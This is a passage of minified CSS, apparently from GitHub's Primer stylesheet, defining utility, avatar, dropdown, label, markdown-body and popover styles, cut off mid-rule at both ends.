!important}.lh-xl-0{line-height:0 !important}}.text-right{text-align:right !important}.text-left{text-align:left !important}.text-center{text-align:center !important}@media(min-width: 544px){.text-sm-right{text-align:right !important}.text-sm-left{text-align:left !important}.text-sm-center{text-align:center !important}}@media(min-width: 768px){.text-md-right{text-align:right !important}.text-md-left{text-align:left !important}.text-md-center{text-align:center !important}}@media(min-width: 1012px){.text-lg-right{text-align:right !important}.text-lg-left{text-align:left !important}.text-lg-center{text-align:center !important}}@media(min-width: 1280px){.text-xl-right{text-align:right !important}.text-xl-left{text-align:left !important}.text-xl-center{text-align:center !important}}.text-normal{font-weight:400 !important}.text-bold{font-weight:600 !important}.text-semibold{font-weight:500 !important}.text-light{font-weight:300 !important}.text-italic{font-style:italic !important}.text-uppercase{text-transform:uppercase !important}.text-underline{text-decoration:underline !important}.no-underline{text-decoration:none !important}.no-wrap{white-space:nowrap !important}.ws-normal{white-space:normal !important}.wb-break-word{word-break:break-word !important;word-wrap:break-word !important;overflow-wrap:break-word !important}.wb-break-all{word-break:break-all !important}.text-emphasized{font-weight:600}.list-style-none{list-style:none !important}.text-mono{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace !important}.user-select-none{-webkit-user-select:none !important;user-select:none !important}.text-capitalize{text-transform:capitalize !important}.d-block{display:block !important}.d-flex{display:flex !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.d-table{display:table !important}.d-table-cell{display:table-cell !important}@media(min-width: 544px){.d-sm-block{display:block !important}.d-sm-flex{display:flex !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.d-sm-table{display:table !important}.d-sm-table-cell{display:table-cell !important}}@media(min-width: 768px){.d-md-block{display:block !important}.d-md-flex{display:flex !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.d-md-table{display:table !important}.d-md-table-cell{display:table-cell !important}}@media(min-width: 1012px){.d-lg-block{display:block !important}.d-lg-flex{display:flex !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.d-lg-table{display:table !important}.d-lg-table-cell{display:table-cell !important}}@media(min-width: 1280px){.d-xl-block{display:block !important}.d-xl-flex{display:flex !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.d-xl-table{display:table !important}.d-xl-table-cell{display:table-cell !important}}.v-hidden{visibility:hidden !important}.v-visible{visibility:visible !important}@media(max-width: 543.98px){.hide-sm{display:none !important}}@media(min-width: 544px)and (max-width: 767.98px){.hide-md{display:none !important}}@media(min-width: 768px)and (max-width: 1011.98px){.hide-lg{display:none !important}}@media(min-width: 1012px){.hide-xl{display:none !important}}.show-whenNarrow,.show-whenRegular,.show-whenWide,.show-whenRegular.hide-whenWide{display:none !important}.hide-whenNarrow,.hide-whenRegular,.hide-whenWide{display:block !important}@media(max-width: 767.98px){.show-whenNarrow{display:block !important}.hide-whenNarrow{display:none !important}}@media(min-width: 768px){.show-whenRegular,.show-whenRegular.hide-whenWide{display:block !important}.hide-whenRegular{display:none !important}}@media(min-width: 1280px){.show-whenWide{display:block !important}.hide-whenWide,.show-whenRegular.hide-whenWide{display:none !important}}.table-fixed{table-layout:fixed !important}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);word-wrap:normal;border:0}.show-on-focus{position:absolute;width:1px;height:1px;margin:0;overflow:hidden;clip:rect(1px, 1px, 1px, 1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}/*! + * @primer/css/product + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.flash{position:relative;padding:20px 16px;border-style:solid;border-width:1px;border-radius:6px}.flash p:last-child{margin-bottom:0}.flash .octicon{margin-right:12px}.flash-messages{margin-bottom:24px}.flash-close{float:right;padding:16px;margin:-16px;text-align:center;cursor:pointer;background:none;border:0;-webkit-appearance:none;appearance:none}.flash-close:hover{opacity:.7}.flash-close:active{opacity:.5}.flash-close .octicon{margin-right:0}.flash-action{float:right;margin-top:-3px;margin-left:24px;background-clip:padding-box}.flash-action.btn .octicon{margin-right:4px;color:var(--color-fg-muted)}.flash-action.btn-primary{background-clip:border-box}.flash-action.btn-primary .octicon{color:inherit}.flash{color:var(--color-fg-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle));border-color:var(--color-accent-muted)}.flash .octicon{color:var(--color-accent-fg)}.flash-warn{color:var(--color-fg-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.flash-warn .octicon{color:var(--color-attention-fg)}.flash-error{color:var(--color-fg-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.flash-error .octicon{color:var(--color-danger-fg)}.flash-success{color:var(--color-fg-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.flash-success .octicon{color:var(--color-success-fg)}.flash-full{margin-top:-1px;border-width:1px 0;border-radius:0}.flash-banner{position:fixed;top:0;z-index:90;width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.flash-full,.flash-banner{background-color:var(--color-canvas-default)}.warning{padding:.5em;margin-bottom:.8em;font-weight:600;background-color:var(--color-attention-subtle)}.autocomplete-label-stacked{display:block;margin-bottom:6px}.autocomplete-label-inline{display:inline;margin-right:6px}@media(max-width: 544px){.autocomplete-label-inline{display:block;margin-bottom:6px}}.autocomplete-body{position:relative;display:inline}.autocomplete-embedded-icon-wrap{display:inline-flex;padding:4px 8px;align-items:center}.autocomplete-embedded-icon-wrap:focus-within{border-color:var(--color-accent-fg);border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.autocomplete-embedded-icon-wrap .form-control{padding:0;margin-left:8px;border:none;box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus{box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus-visible{box-shadow:none}.autocomplete-results{position:absolute;left:0;z-index:99;width:max-content;min-width:100%;max-height:20em;overflow-y:auto;font-size:13px;list-style:none;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.autocomplete-item{display:block;width:100%;padding:4px 8px;overflow:hidden;font-weight:600;color:var(--color-fg-default);text-align:left;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;background-color:var(--color-canvas-overlay);border:0}.autocomplete-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item:hover *{color:inherit !important}.autocomplete-item.selected,.autocomplete-item[aria-selected=true],.autocomplete-item.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item.selected *,.autocomplete-item[aria-selected=true] *,.autocomplete-item.navigation-focus *{color:inherit !important}.suggester{position:relative;top:0;left:0;min-width:180px;padding:0;margin:0;margin-top:24px;list-style:none;cursor:pointer;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.suggester li{display:block;padding:4px 8px;font-weight:500;border-bottom:1px solid var(--color-border-muted)}.suggester li small{font-weight:400;color:var(--color-fg-muted)}.suggester li:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.suggester li:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.suggester li:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li:hover small{color:var(--color-fg-on-emphasis)}.suggester li:hover .octicon{color:inherit !important}.suggester li[aria-selected=true],.suggester li.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li[aria-selected=true] small,.suggester li.navigation-focus small{color:var(--color-fg-on-emphasis)}.suggester li[aria-selected=true] .octicon,.suggester li.navigation-focus .octicon{color:inherit !important}.suggester-container{position:absolute;top:0;left:0;z-index:30}@media(max-width: 544px){.page-responsive .suggester-container{right:8px !important;left:8px !important}.page-responsive .suggester li{padding:8px 16px}}.avatar{display:inline-block;overflow:hidden;line-height:1;vertical-align:middle;background-color:var(--color-avatar-bg);border-radius:6px;flex-shrink:0;box-shadow:0 0 0 1px var(--color-avatar-border)}.avatar-link{float:left;line-height:1}.avatar-group-item{display:inline-block;margin-bottom:3px}.avatar-1,.avatar-2,.avatar-small{border-radius:4px}.avatar-1{width:16px;height:16px}.avatar-2{width:20px;height:20px}.avatar-3{width:24px;height:24px}.avatar-4{width:28px;height:28px}.avatar-5{width:32px;height:32px}.avatar-6{width:40px;height:40px}.avatar-7{width:48px;height:48px}.avatar-8{width:64px;height:64px}.avatar-parent-child{position:relative}.avatar-child{position:absolute;right:-15%;bottom:-9%;background-color:var(--color-canvas-default);border-radius:4px;box-shadow:var(--color-avatar-child-shadow)}.AvatarStack{position:relative;min-width:26px;height:20px}.AvatarStack .AvatarStack-body{position:absolute}.AvatarStack.AvatarStack--two{min-width:36px}.AvatarStack.AvatarStack--three-plus{min-width:46px}.AvatarStack-body{display:flex;background:var(--color-canvas-default)}.AvatarStack-body .avatar{position:relative;z-index:2;display:flex;width:20px;height:20px;box-sizing:content-box;margin-right:-11px;background-color:var(--color-canvas-default);border-right:1px solid var(--color-canvas-default);border-radius:4px;box-shadow:none;transition:margin .1s ease-in-out}.AvatarStack-body .avatar:first-child{z-index:3}.AvatarStack-body .avatar:last-child{z-index:1;border-right:0}.AvatarStack-body .avatar img{border-radius:4px}.AvatarStack-body .avatar:nth-child(n+4){display:none;opacity:0}.AvatarStack-body:hover .avatar{margin-right:3px}.AvatarStack-body:hover .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack-body:hover .avatar-more{display:none !important}.avatar.avatar-more{z-index:1;margin-right:0;background:var(--color-canvas-subtle)}.avatar.avatar-more::before,.avatar.avatar-more::after{position:absolute;display:block;height:20px;content:"";border-radius:2px;outline:1px solid var(--color-canvas-default)}.avatar.avatar-more::before{width:17px;background:var(--color-avatar-stack-fade-more)}.avatar.avatar-more::after{width:14px;background:var(--color-avatar-stack-fade)}.AvatarStack--right .AvatarStack-body{right:0;flex-direction:row-reverse}.AvatarStack--right .AvatarStack-body:hover .avatar{margin-right:0;margin-left:3px}.AvatarStack--right .avatar.avatar-more{background:var(--color-avatar-stack-fade)}.AvatarStack--right .avatar.avatar-more::before{width:5px}.AvatarStack--right .avatar.avatar-more::after{width:2px;background:var(--color-canvas-subtle)}.AvatarStack--right .avatar{margin-right:0;margin-left:-11px;border-right:0;border-left:1px solid var(--color-canvas-default)}.CircleBadge{display:flex;align-items:center;justify-content:center;background-color:var(--color-canvas-default);border-radius:50%;box-shadow:var(--color-shadow-medium)}.CircleBadge-icon{max-width:60% !important;height:auto !important;max-height:55% !important}.CircleBadge--small{width:56px;height:56px}.CircleBadge--medium{width:96px;height:96px}.CircleBadge--large{width:128px;height:128px}.DashedConnection{position:relative}.DashedConnection::before{position:absolute;top:50%;left:0;width:100%;content:"";border-bottom:2px dashed var(--color-border-default)}.DashedConnection .CircleBadge{position:relative}.blankslate{position:relative;padding:32px;text-align:center}.blankslate p{color:var(--color-fg-muted)}.blankslate code{padding:2px 5px 3px;font-size:14px;background:var(--color-canvas-default);border:1px solid var(--color-border-muted);border-radius:6px}.blankslate img{width:56px;height:56px}.blankslate-icon{margin-right:4px;margin-bottom:8px;margin-left:4px;color:var(--color-fg-muted)}.blankslate-image{margin-bottom:16px}.blankslate-heading{margin-bottom:4px}.blankslate-action{margin-top:16px}.blankslate-action:first-of-type{margin-top:24px}.blankslate-action:last-of-type{margin-bottom:8px}.blankslate-capped{border-radius:0 0 6px 6px}.blankslate-spacious{padding:80px 40px}.blankslate-narrow{max-width:485px;margin:0 auto}.blankslate-large img{width:80px;height:80px}.blankslate-large h3{margin:16px 0;font-size:24px}.blankslate-large p{font-size:16px}.blankslate-clean-background{border:0}.branch-name{display:inline-block;padding:2px 6px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);word-break:break-all;background-color:var(--color-accent-subtle);border-radius:6px}.branch-name .octicon{margin:1px -2px 0 0;color:var(--color-fg-muted)}a.branch-name{color:var(--color-accent-fg);background-color:var(--color-accent-subtle)}a.branch-name .octicon{color:var(--color-accent-fg)}.dropdown{position:relative}.dropdown-caret{display:inline-block;width:0;height:0;vertical-align:middle;content:"";border-style:solid;border-width:4px 4px 0;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;width:160px;padding-top:4px;padding-bottom:4px;margin-top:2px;list-style:none;background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.dropdown-menu::before,.dropdown-menu::after{position:absolute;display:inline-block;content:""}.dropdown-menu::before{border:8px solid transparent;border-bottom-color:var(--color-border-default)}.dropdown-menu::after{border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.dropdown-menu>ul{list-style:none}.dropdown-menu-no-overflow{width:auto}.dropdown-menu-no-overflow .dropdown-item{padding:4px 16px;overflow:visible;text-overflow:inherit}.dropdown-item{display:block;padding:4px 8px 4px 16px;overflow:hidden;color:var(--color-fg-default);text-overflow:ellipsis;white-space:nowrap}.dropdown-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.dropdown-item:hover>.octicon{color:inherit;opacity:1}.dropdown-item:hover [class*=color-text-]{color:inherit !important}.dropdown-item:hover>.Label{color:inherit !important;border-color:currentColor}.dropdown-item.btn-link{width:100%;text-align:left}.dropdown-signout{width:100%;text-align:left;background:none;border:0}.dropdown-divider{display:block;height:0;margin:8px 0;border-top:1px solid var(--color-border-default)}.dropdown-header{padding:4px 16px;font-size:12px;color:var(--color-fg-muted)}.dropdown-item[aria-checked=false] .octicon-check{display:none}.dropdown-menu-w{top:0;right:100%;left:auto;width:auto;margin-top:0;margin-right:8px}.dropdown-menu-w::before{top:10px;right:-16px;left:auto;border-color:transparent;border-left-color:var(--color-border-default)}.dropdown-menu-w::after{top:11px;right:-14px;left:auto;border-color:transparent;border-left-color:var(--color-canvas-overlay)}.dropdown-menu-e{top:0;left:100%;width:auto;margin-top:0;margin-left:8px}.dropdown-menu-e::before{top:10px;left:-16px;border-color:transparent;border-right-color:var(--color-border-default)}.dropdown-menu-e::after{top:11px;left:-14px;border-color:transparent;border-right-color:var(--color-canvas-overlay)}.dropdown-menu-ne{top:auto;bottom:100%;left:0;margin-bottom:3px}.dropdown-menu-ne::before,.dropdown-menu-ne::after{top:auto;right:auto}.dropdown-menu-ne::before{bottom:-8px;left:9px;border-top:8px solid var(--color-border-default);border-right:8px solid transparent;border-bottom:0;border-left:8px solid transparent}.dropdown-menu-ne::after{bottom:-7px;left:10px;border-top:7px solid var(--color-canvas-overlay);border-right:7px solid transparent;border-bottom:0;border-left:7px solid transparent}.dropdown-menu-s{right:50%;left:auto;transform:translateX(50%)}.dropdown-menu-s::before{top:-16px;right:50%;transform:translateX(50%)}.dropdown-menu-s::after{top:-14px;right:50%;transform:translateX(50%)}.dropdown-menu-sw{right:0;left:auto}.dropdown-menu-sw::before{top:-16px;right:9px;left:auto}.dropdown-menu-sw::after{top:-14px;right:10px;left:auto}.dropdown-menu-se::before{top:-16px;left:9px}.dropdown-menu-se::after{top:-14px;left:10px}.Header{z-index:32;display:flex;padding:16px;font-size:14px;line-height:1.5;color:var(--color-header-text);background-color:var(--color-header-bg);align-items:center;flex-wrap:nowrap}.Header-item{display:flex;margin-right:16px;align-self:stretch;align-items:center;flex-wrap:nowrap}.Header-item--full{flex:auto}.Header-link{font-weight:600;color:var(--color-header-logo);white-space:nowrap}.Header-link:hover,.Header-link:focus{color:var(--color-header-text);text-decoration:none}.Header-input{color:var(--color-header-text);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.Header-input::placeholder{color:rgba(255,255,255,.75)}.IssueLabel{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em}.IssueLabel .g-emoji{position:relative;top:-0.05em;display:inline-block;font-size:1em;line-height:1}.IssueLabel:hover{text-decoration:none}.IssueLabel--big{padding-right:10px;padding-left:10px;line-height:22px}.labels{position:relative}.label,.Label{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.label:hover,.Label:hover{text-decoration:none}.Label--large{padding-right:10px;padding-left:10px;line-height:22px}.Label--inline{display:inline;padding:.12em .5em;font-size:85%}.Label--primary{color:var(--color-fg-default);border-color:var(--color-neutral-emphasis)}.Label--secondary{color:var(--color-fg-muted);border-color:var(--color-border-default)}.Label--info,.Label--accent{color:var(--color-accent-fg);border-color:var(--color-accent-emphasis)}.Label--success{color:var(--color-success-fg);border-color:var(--color-success-emphasis)}.Label--warning,.Label--attention{color:var(--color-attention-fg);border-color:var(--color-attention-emphasis)}.Label--severe{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label--danger{color:var(--color-danger-fg);border-color:var(--color-danger-emphasis)}.Label--open{color:var(--color-open-fg);border-color:var(--color-open-emphasis)}.Label--closed{color:var(--color-closed-fg);border-color:var(--color-closed-emphasis)}.Label--done{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label--sponsors{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}.state,.State{display:inline-block;padding:5px 12px;font-size:14px;font-weight:500;line-height:20px;text-align:center;white-space:nowrap;border-radius:2em}.state,.State,.State--draft{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.State--open{color:var(--color-fg-on-emphasis);background-color:var(--color-open-emphasis)}.State--merged{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis)}.State--closed{color:var(--color-fg-on-emphasis);background-color:var(--color-closed-emphasis)}.State--small{padding:0 10px;font-size:12px;line-height:24px}.State--small .octicon{width:1em}.Counter{display:inline-block;min-width:20px;padding:0 6px;font-size:12px;font-weight:500;line-height:18px;color:var(--color-fg-default);text-align:center;background-color:var(--color-neutral-muted);border:1px solid var(--color-counter-border);border-radius:2em}.Counter:empty{display:none}.Counter .octicon{vertical-align:text-top;opacity:.8}.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.Counter--secondary{color:var(--color-fg-muted);background-color:var(--color-neutral-subtle)}.diffstat{font-size:12px;font-weight:600;color:var(--color-fg-muted);white-space:nowrap;cursor:default}.diffstat-block-deleted,.diffstat-block-added,.diffstat-block-neutral{display:inline-block;width:8px;height:8px;margin-left:1px;outline-offset:-1px}.diffstat-block-deleted{background-color:var(--color-danger-emphasis);outline:1px solid var(--color-border-subtle)}.diffstat-block-added{background-color:var(--color-diffstat-addition-bg);outline:1px solid var(--color-border-subtle)}.diffstat-block-neutral{background-color:var(--color-neutral-muted);outline:1px solid var(--color-border-subtle)}.AnimatedEllipsis{display:inline-block;overflow:hidden;vertical-align:bottom}.AnimatedEllipsis::after{display:inline-block;content:"...";animation:AnimatedEllipsis-keyframes 1.2s steps(4, jump-none) infinite}@keyframes AnimatedEllipsis-keyframes{0%{transform:translateX(-100%)}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--color-danger-fg)}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre,.markdown-body details{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:var(--color-border-default);border:0}.markdown-body blockquote{padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--color-fg-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{padding:0 .2em;font-size:inherit}.markdown-body h1{padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h2{padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:.875em}.markdown-body h6{font-size:.85em;color:var(--color-fg-muted)}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body ol[type=a]{list-style-type:lower-alpha}.markdown-body ol[type=i]{list-style-type:lower-roman}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;width:max-content;max-width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid var(--color-border-default)}.markdown-body table tr{background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--color-canvas-subtle)}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--color-border-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--color-fg-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-t